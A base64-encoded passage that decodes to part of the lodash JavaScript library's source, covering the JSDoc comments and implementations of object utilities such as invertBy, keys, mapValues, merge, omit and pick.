rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IGludmVydGVkIG9iamVjdC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2EnOiAxLCAnYic6IDIsICdjJzogMSB9O1xuICAgICAqXG4gICAgICogXy5pbnZlcnRCeShvYmplY3QpO1xuICAgICAqIC8vID0+IHsgJzEnOiBbJ2EnLCAnYyddLCAnMic6IFsnYiddIH1cbiAgICAgKlxuICAgICAqIF8uaW52ZXJ0Qnkob2JqZWN0LCBmdW5jdGlvbih2YWx1ZSkge1xuICAgICAqICAgcmV0dXJuICdncm91cCcgKyB2YWx1ZTtcbiAgICAgKiB9KTtcbiAgICAgKiAvLyA9PiB7ICdncm91cDEnOiBbJ2EnLCAnYyddLCAnZ3JvdXAyJzogWydiJ10gfVxuICAgICAqL1xuICAgIHZhciBpbnZlcnRCeSA9IGNyZWF0ZUludmVydGVyKGZ1bmN0aW9uKHJlc3VsdCwgdmFsdWUsIGtleSkge1xuICAgICAgaWYgKHZhbHVlICE9IG51bGwgJiZcbiAgICAgICAgICB0eXBlb2YgdmFsdWUudG9TdHJpbmcgIT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICB2YWx1ZSA9IG5hdGl2ZU9iamVjdFRvU3RyaW5nLmNhbGwodmFsdWUpO1xuICAgICAgfVxuXG4gICAgICBpZiAoaGFzT3duUHJvcGVydHkuY2FsbChyZXN1bHQsIHZhbHVlKSkge1xuICAgICAgICByZXN1bHRbdmFsdWVdLnB1c2goa2V5KTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHJlc3VsdFt2YWx1ZV0gPSBba2V5XTtcbiAgICAgIH1cbiAgICB9LCBnZXRJdGVyYXRlZSk7XG5cbiAgICAvKipcbiAgICAgKiBJbnZva2VzIHRoZSBtZXRob2QgYXQgYHBhdGhgIG9mIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBxdWVyeS5cbiAgICAgKiBAcGFyYW0ge0FycmF5fHN0cmluZ30gcGF0aCBUaGUgcGF0aCBvZiB0aGUgbWV0aG9kIHRvIGludm9rZS5cbiAgICAgKiBAcGFyYW0gey4uLip9IFthcmdzXSBUaGUgYXJndW1lbnRzIHRvIGludm9rZSB0aGUgbWV0aG9kIHdpdGguXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIHJlc3VsdCBvZiB0aGUgaW52b2tlZCBtZXRob2QuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogW3sgJ2InOiB7ICdjJzogWzEsIDIsIDMsIDRdIH0gfV0gfTtcbiAgICAgKlxuICAgICAqIF8uaW52b2tlKG9iamVjdCwgJ2FbMF0uYi5jLnNsaWNlJywgMSwgMyk7XG4gICAgICogLy8gPT4gWzIsIDNdXG4gICAgICovXG4gICAgdmFyIGludm9rZSA9IGJhc2VSZXN0KGJhc2VJbnZva2UpO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB0aGUgb3duIGVudW1lcmFibGUgcHJvcGVydHkgbmFtZXMgb2YgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogTm9uLW9iamVjdCB2YWx1ZXMgYXJlIGNvZXJjZWQgdG8gb2JqZWN0cy4gU2VlIHRoZVxuICAgICAqIFtFUyBzcGVjXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1vYmplY3Qua2V5cylcbiAgICAgKiBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBxdWVyeS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIGFycmF5IG9mIHByb3BlcnR5IG5hbWVzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBGb28oKSB7XG4gICAgICogICB0aGlzLmEgPSAxO1xuICAgICAqICAgdGhpcy5iID0gMjtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBGb28ucHJvdG90eXBlLmMgPSAzO1xuICAgICAqXG4gICAgICogXy5rZXlzKG5ldyBGb28pO1xuICAgICAqIC8vID0+IFsnYScsICdiJ10gKGl0ZXJhdGlvbiBvcmRlciBpcyBub3QgZ3VhcmFudGVlZClcbiAgICAgKlxuICAgICAqIF8ua2V5cygnaGknKTtcbiAgICAgKiAvLyA9PiBbJzAnLCAnMSddXG4gICAgICovXG4gICAgZnVuY3Rpb24ga2V5cyhvYmplY3QpIHtcbiAgICAgIHJldHVybiBpc0FycmF5TGlrZShvYmplY3QpID8gYXJyYXlMaWtlS2V5cyhvYmplY3QpIDogYmFzZUtleXMob2JqZWN0KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIGFycmF5IG9mIHRoZSBvd24gYW5kIGluaGVyaXRlZCBlbnVtZXJhYmxlIHByb3BlcnR5IG5hbWVzIG9mIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIE5vbi1vYmplY3QgdmFsdWVzIGFyZSBjb2VyY2VkIHRvIG9iamVjdHMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgYXJyYXkgb2YgcHJvcGVydHkgbmFtZXMuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIEZvbygpIHtcbiAgICAgKiAgIHRoaXMuYSA9IDE7XG4gICAgICogICB0aGlzLmIgPSAyO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIEZvby5wcm90b3R5cGUuYyA9IDM7XG4gICAgICpcbiAgICAgKiBfLmtleXNJbihuZXcgRm9vKTtcbiAgICAgKiAvLyA9PiBbJ2EnLCAnYicsICdjJ10gKGl0ZXJhdGlvbiBvcmRlciBpcyBub3QgZ3VhcmFudGVlZClcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBrZXlzSW4ob2JqZWN0KSB7XG4gICAgICByZXR1cm4gaXNBcnJheUxpa2Uob2JqZWN0KSA/IGFycmF5TGlrZUtleXMob2JqZWN0LCB0cnVlKSA6IGJhc2VLZXlzSW4ob2JqZWN0KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgb3Bwb3NpdGUgb2YgYF8ubWFwVmFsdWVzYDsgdGhpcyBtZXRob2QgY3JlYXRlcyBhbiBvYmplY3Qgd2l0aCB0aGVcbiAgICAgKiBzYW1lIHZhbHVlcyBhcyBgb2JqZWN0YCBhbmQga2V5cyBnZW5lcmF0ZWQgYnkgcnVubmluZyBlYWNoIG93biBlbnVtZXJhYmxlXG4gICAgICogc3RyaW5nIGtleWVkIHByb3BlcnR5IG9mIGBvYmplY3RgIHRocnUgYGl0ZXJhdGVlYC4gVGhlIGl0ZXJhdGVlIGlzIGludm9rZWRcbiAgICAgKiB3aXRoIHRocmVlIGFyZ3VtZW50czogKHZhbHVlLCBrZXksIG9iamVjdCkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy44LjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXcgbWFwcGVkIG9iamVjdC5cbiAgICAgKiBAc2VlIF8ubWFwVmFsdWVzXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ubWFwS2V5cyh7ICdhJzogMSwgJ2InOiAyIH0sIGZ1bmN0aW9uKHZhbHVlLCBrZXkpIHtcbiAgICAgKiAgIHJldHVybiBrZXkgKyB2YWx1ZTtcbiAgICAgKiB9KTtcbiAgICAgKiAvLyA9PiB7ICdhMSc6IDEsICdiMic6IDIgfVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1hcEtleXMob2JqZWN0LCBpdGVyYXRlZSkge1xuICAgICAgdmFyIHJlc3VsdCA9IHt9O1xuICAgICAgaXRlcmF0ZWUgPSBnZXRJdGVyYXRlZShpdGVyYXRlZSwgMyk7XG5cbiAgICAgIGJhc2VGb3JPd24ob2JqZWN0LCBmdW5jdGlvbih2YWx1ZSwga2V5LCBvYmplY3QpIHtcbiAgICAgICAgYmFzZUFzc2lnblZhbHVlKHJlc3VsdCwgaXRlcmF0ZWUodmFsdWUsIGtleSwgb2JqZWN0KSwgdmFsdWUpO1xuICAgICAgfSk7XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYW4gb2JqZWN0IHdpdGggdGhlIHNhbWUga2V5cyBhcyBgb2JqZWN0YCBhbmQgdmFsdWVzIGdlbmVyYXRlZFxuICAgICAqIGJ5IHJ1bm5pbmcgZWFjaCBvd24gZW51bWVyYWJsZSBzdHJpbmcga2V5ZWQgcHJvcGVydHkgb2YgYG9iamVjdGAgdGhydVxuICAgICAqIGBpdGVyYXRlZWAuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggdGhyZWUgYXJndW1lbnRzOlxuICAgICAqICh2YWx1ZSwga2V5LCBvYmplY3QpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDIuNC4wXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IG1hcHBlZCBvYmplY3QuXG4gICAgICogQHNlZSBfLm1hcEtleXNcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIHVzZXJzID0ge1xuICAgICAqICAgJ2ZyZWQnOiAgICB7ICd1c2VyJzogJ2ZyZWQnLCAgICAnYWdlJzogNDAgfSxcbiAgICAgKiAgICdwZWJibGVzJzogeyAndXNlcic6ICdwZWJibGVzJywgJ2FnZSc6IDEgfVxuICAgICAqIH07XG4gICAgICpcbiAgICAgKiBfLm1hcFZhbHVlcyh1c2VycywgZnVuY3Rpb24obykgeyByZXR1cm4gby5hZ2U7IH0pO1xuICAgICAqIC8vID0+IHsgJ2ZyZWQnOiA0MCwgJ3BlYmJsZXMnOiAxIH0gKGl0ZXJhdGlvbiBvcmRlciBpcyBub3QgZ3VhcmFudGVlZClcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5wcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8ubWFwVmFsdWVzKHVzZXJzLCAnYWdlJyk7XG4gICAgICogLy8gPT4geyAnZnJlZCc6IDQwLCAncGViYmxlcyc6IDEgfSAoaXRlcmF0aW9uIG9yZGVyIGlzIG5vdCBndWFyYW50ZWVkKVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1hcFZhbHVlcyhvYmplY3QsIGl0ZXJhdGVlKSB7XG4gICAgICB2YXIgcmVzdWx0ID0ge307XG4gICAgICBpdGVyYXRlZSA9IGdldEl0ZXJhdGVlKGl0ZXJhdGVlLCAzKTtcblxuICAgICAgYmFzZUZvck93bihvYmplY3QsIGZ1bmN0aW9uKHZhbHVlLCBrZXksIG9iamVjdCkge1xuICAgICAgICBiYXNlQXNzaWduVmFsdWUocmVzdWx0LCBrZXksIGl0ZXJhdGVlKHZhbHVlLCBrZXksIG9iamVjdCkpO1xuICAgICAgfSk7XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uYXNzaWduYCBleGNlcHQgdGhhdCBpdCByZWN1cnNpdmVseSBtZXJnZXMgb3duIGFuZFxuICAgICAqIGluaGVyaXRlZCBlbnVtZXJhYmxlIHN0cmluZyBrZXllZCBwcm9wZXJ0aWVzIG9mIHNvdXJjZSBvYmplY3RzIGludG8gdGhlXG4gICAgICogZGVzdGluYXRpb24gb2JqZWN0LiBTb3VyY2UgcHJvcGVydGllcyB0aGF0IHJlc29sdmUgdG8gYHVuZGVmaW5lZGAgYXJlXG4gICAgICogc2tpcHBlZCBpZiBhIGRlc3RpbmF0aW9uIHZhbHVlIGV4aXN0cy4gQXJyYXkgYW5kIHBsYWluIG9iamVjdCBwcm9wZXJ0aWVzXG4gICAgICogYXJlIG1lcmdlZCByZWN1cnNpdmVseS4gT3RoZXIgb2JqZWN0cyBhbmQgdmFsdWUgdHlwZXMgYXJlIG92ZXJyaWRkZW4gYnlcbiAgICAgKiBhc3NpZ25tZW50LiBTb3VyY2Ugb2JqZWN0cyBhcmUgYXBwbGllZCBmcm9tIGxlZnQgdG8gcmlnaHQuIFN1YnNlcXVlbnRcbiAgICAgKiBzb3VyY2VzIG92ZXJ3cml0ZSBwcm9wZXJ0eSBhc3NpZ25tZW50cyBvZiBwcmV2aW91cyBzb3VyY2VzLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIG11dGF0ZXMgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC41LjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgZGVzdGluYXRpb24gb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7Li4uT2JqZWN0fSBbc291cmNlc10gVGhlIHNvdXJjZSBvYmplY3RzLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7XG4gICAgICogICAnYSc6IFt7ICdiJzogMiB9LCB7ICdkJzogNCB9XVxuICAgICAqIH07XG4gICAgICpcbiAgICAgKiB2YXIgb3RoZXIgPSB7XG4gICAgICogICAnYSc6IFt7ICdjJzogMyB9LCB7ICdlJzogNSB9XVxuICAgICAqIH07XG4gICAgICpcbiAgICAgKiBfLm1lcmdlKG9iamVjdCwgb3RoZXIpO1xuICAgICAqIC8vID0+IHsgJ2EnOiBbeyAnYic6IDIsICdjJzogMyB9LCB7ICdkJzogNCwgJ2UnOiA1IH1dIH1cbiAgICAgKi9cbiAgICB2YXIgbWVyZ2UgPSBjcmVhdGVBc3NpZ25lcihmdW5jdGlvbihvYmplY3QsIHNvdXJjZSwgc3JjSW5kZXgpIHtcbiAgICAgIGJhc2VNZXJnZShvYmplY3QsIHNvdXJjZSwgc3JjSW5kZXgpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5tZXJnZWAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgY3VzdG9taXplcmAgd2hpY2hcbiAgICAgKiBpcyBpbnZva2VkIHRvIHByb2R1Y2UgdGhlIG1lcmdlZCB2YWx1ZXMgb2YgdGhlIGRlc3RpbmF0aW9uIGFuZCBzb3VyY2VcbiAgICAgKiBwcm9wZXJ0aWVzLiBJZiBgY3VzdG9taXplcmAgcmV0dXJucyBgdW5kZWZpbmVkYCwgbWVyZ2luZyBpcyBoYW5kbGVkIGJ5IHRoZVxuICAgICAqIG1ldGhvZCBpbnN0ZWFkLiBUaGUgYGN1c3RvbWl6ZXJgIGlzIGludm9rZWQgd2l0aCBzaXggYXJndW1lbnRzOlxuICAgICAqIChvYmpWYWx1ZSwgc3JjVmFsdWUsIGtleSwgb2JqZWN0LCBzb3VyY2UsIHN0YWNrKS5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBtdXRhdGVzIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIGRlc3RpbmF0aW9uIG9iamVjdC5cbiAgICAgKiBAcGFyYW0gey4uLk9iamVjdH0gc291cmNlcyBUaGUgc291cmNlIG9iamVjdHMuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gY3VzdG9taXplciBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIGFzc2lnbmVkIHZhbHVlcy5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBjdXN0b21pemVyKG9ialZhbHVlLCBzcmNWYWx1ZSkge1xuICAgICAqICAgaWYgKF8uaXNBcnJheShvYmpWYWx1ZSkpIHtcbiAgICAgKiAgICAgcmV0dXJuIG9ialZhbHVlLmNvbmNhdChzcmNWYWx1ZSk7XG4gICAgICogICB9XG4gICAgICogfVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2EnOiBbMV0sICdiJzogWzJdIH07XG4gICAgICogdmFyIG90aGVyID0geyAnYSc6IFszXSwgJ2InOiBbNF0gfTtcbiAgICAgKlxuICAgICAqIF8ubWVyZ2VXaXRoKG9iamVjdCwgb3RoZXIsIGN1c3RvbWl6ZXIpO1xuICAgICAqIC8vID0+IHsgJ2EnOiBbMSwgM10sICdiJzogWzIsIDRdIH1cbiAgICAgKi9cbiAgICB2YXIgbWVyZ2VXaXRoID0gY3JlYXRlQXNzaWduZXIoZnVuY3Rpb24ob2JqZWN0LCBzb3VyY2UsIHNyY0luZGV4LCBjdXN0b21pemVyKSB7XG4gICAgICBiYXNlTWVyZ2Uob2JqZWN0LCBzb3VyY2UsIHNyY0luZGV4LCBjdXN0b21pemVyKTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIFRoZSBvcHBvc2l0ZSBvZiBgXy5waWNrYDsgdGhpcyBtZXRob2QgY3JlYXRlcyBhbiBvYmplY3QgY29tcG9zZWQgb2YgdGhlXG4gICAgICogb3duIGFuZCBpbmhlcml0ZWQgZW51bWVyYWJsZSBwcm9wZXJ0eSBwYXRocyBvZiBgb2JqZWN0YCB0aGF0IGFyZSBub3Qgb21pdHRlZC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBpcyBjb25zaWRlcmFibHkgc2xvd2VyIHRoYW4gYF8ucGlja2AuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgc291cmNlIG9iamVjdC5cbiAgICAgKiBAcGFyYW0gey4uLihzdHJpbmd8c3RyaW5nW10pfSBbcGF0aHNdIFRoZSBwcm9wZXJ0eSBwYXRocyB0byBvbWl0LlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIG5ldyBvYmplY3QuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogMSwgJ2InOiAnMicsICdjJzogMyB9O1xuICAgICAqXG4gICAgICogXy5vbWl0KG9iamVjdCwgWydhJywgJ2MnXSk7XG4gICAgICogLy8gPT4geyAnYic6ICcyJyB9XG4gICAgICovXG4gICAgdmFyIG9taXQgPSBmbGF0UmVzdChmdW5jdGlvbihvYmplY3QsIHBhdGhzKSB7XG4gICAgICB2YXIgcmVzdWx0ID0ge307XG4gICAgICBpZiAob2JqZWN0ID09IG51bGwpIHtcbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH1cbiAgICAgIHZhciBpc0RlZXAgPSBmYWxzZTtcbiAgICAgIHBhdGhzID0gYXJyYXlNYXAocGF0aHMsIGZ1bmN0aW9uKHBhdGgpIHtcbiAgICAgICAgcGF0aCA9IGNhc3RQYXRoKHBhdGgsIG9iamVjdCk7XG4gICAgICAgIGlzRGVlcCB8fCAoaXNEZWVwID0gcGF0aC5sZW5ndGggPiAxKTtcbiAgICAgICAgcmV0dXJuIHBhdGg7XG4gICAgICB9KTtcbiAgICAgIGNvcHlPYmplY3Qob2JqZWN0LCBnZXRBbGxLZXlzSW4ob2JqZWN0KSwgcmVzdWx0KTtcbiAgICAgIGlmIChpc0RlZXApIHtcbiAgICAgICAgcmVzdWx0ID0gYmFzZUNsb25lKHJlc3VsdCwgQ0xPTkVfREVFUF9GTEFHIHwgQ0xPTkVfRkxBVF9GTEFHIHwgQ0xPTkVfU1lNQk9MU19GTEFHLCBjdXN0b21PbWl0Q2xvbmUpO1xuICAgICAgfVxuICAgICAgdmFyIGxlbmd0aCA9IHBhdGhzLmxlbmd0aDtcbiAgICAgIHdoaWxlIChsZW5ndGgtLSkge1xuICAgICAgICBiYXNlVW5zZXQocmVzdWx0LCBwYXRoc1tsZW5ndGhdKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGUgb3Bwb3NpdGUgb2YgYF8ucGlja0J5YDsgdGhpcyBtZXRob2QgY3JlYXRlcyBhbiBvYmplY3QgY29tcG9zZWQgb2ZcbiAgICAgKiB0aGUgb3duIGFuZCBpbmhlcml0ZWQgZW51bWVyYWJsZSBzdHJpbmcga2V5ZWQgcHJvcGVydGllcyBvZiBgb2JqZWN0YCB0aGF0XG4gICAgICogYHByZWRpY2F0ZWAgZG9lc24ndCByZXR1cm4gdHJ1dGh5IGZvci4gVGhlIHByZWRpY2F0ZSBpcyBpbnZva2VkIHdpdGggdHdvXG4gICAgICogYXJndW1lbnRzOiAodmFsdWUsIGtleSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgc291cmNlIG9iamVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBwcm9wZXJ0eS5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXcgb2JqZWN0LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgb2JqZWN0ID0geyAnYSc6IDEsICdiJzogJzInLCAnYyc6IDMgfTtcbiAgICAgKlxuICAgICAqIF8ub21pdEJ5KG9iamVjdCwgXy5pc051bWJlcik7XG4gICAgICogLy8gPT4geyAnYic6ICcyJyB9XG4gICAgICovXG4gICAgZnVuY3Rpb24gb21pdEJ5KG9iamVjdCwgcHJlZGljYXRlKSB7XG4gICAgICByZXR1cm4gcGlja0J5KG9iamVjdCwgbmVnYXRlKGdldEl0ZXJhdGVlKHByZWRpY2F0ZSkpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIG9iamVjdCBjb21wb3NlZCBvZiB0aGUgcGlja2VkIGBvYmplY3RgIHByb3BlcnRpZXMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgc291cmNlIG9iamVjdC5cbiAgICAgKiBAcGFyYW0gey4uLihzdHJpbmd8c3RyaW5nW10pfSBbcGF0aHNdIFRoZSBwcm9wZXJ0eSBwYXRocyB0byBwaWNrLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIG5ldyBvYmplY3QuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogMSwgJ2InOiAnMicsICdjJzogMyB9O1xuICAgICAqXG4gICAgICogXy5waWNrKG9iamVjdCwgWydhJywgJ2MnXSk7XG4gICAgICogLy8gPT4geyAnYSc6IDEsICdjJzogMyB9XG4gICAgICovXG4gICAgdmFyIHBpY2sgPSBmbGF0UmVzdChmdW5jdGlvbihvYmplY3QsIHBhdGhzKSB7XG4gICAgICByZXR1cm4gb2JqZWN0ID09IG51bGwgPyB7fSA6IGJhc2VQaWNrKG9iamVjdCwgcGF0aHMpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBvYmplY3QgY29tcG9zZWQgb2YgdGhlIGBvYmplY3RgIHByb3BlcnRpZXMgYHByZWRpY2F0ZWAgcmV0dXJuc1xuICAgICAqIHRydXRoeSBmb3IuIFRoZSBwcmVkaWNhdGUgaXMgaW52b2tlZCB3aXRoIHR3byBhcmd1bWVudHM6ICh2YWx1ZSwga2V5KS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBzb3VyY2Ugb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtwcmVkaWNhdGU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIHByb3BlcnR5LlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIG5ldyBvYmplY3QuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogMSwgJ2InOiAnMicsICdjJzogMyB9O1xuICAgICAqXG4gICAgICogXy5waWNrQnkob2JqZWN0LCBfLmlzTnVtYmVyKTtcbiAgICAgKiAvLyA9PiB7ICdhJzogMSwgJ2MnOiAzIH1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBwaWNrQnkob2JqZWN0LCBwcmVkaWNhdGUpIHtcbiAgICAgIGlmIChvYmplY3QgPT0gbnVsbCkge1xuICAgICAgICByZXR1cm4ge307XG4gICAgICB9XG4gICAgICB2YXIgcHJvcHMgPSBhcnJheU1hcChnZXRBbGxLZXlzSW4ob2JqZWN0KSwgZnVuY3Rpb24ocHJvcCkge1xuICAgICAgICByZXR1cm4gW3Byb3BdO1xuICAgICAgfSk7XG4gICAgICBwcmVkaWNhdGUgPSBnZXRJdGVyYXRlZShwcmVkaWNhdGUpO1xuICAgICAgcmV0dXJuIGJhc2VQaWNrQnkob2JqZWN0LCBwcm9wcywgZnVuY3Rpb24odmFsdWUsIHBhdGgpIHtcbiAgICAgICAgcmV0dXJuIHByZWRpY2F0ZSh2YWx1ZSwgcGF0aFswXSk7XG4gICAgICB9KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmdldGAgZXhjZXB0IHRoYXQgaWYgdGhlIHJlc29sdmVkIHZhbHVlIGlzIGFcbiAgICAgKiBmdW5jdGlvbiBpdCdzIGludm9rZWQgd2l0aCB0aGUgYHRoaXNgIGJpbmRpbmcgb2YgaXRzIHBhcmVudCBvYmplY3QgYW5kXG4gICAgICogaXRzIHJlc3VsdCBpcyByZXR1cm5lZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHBhcmF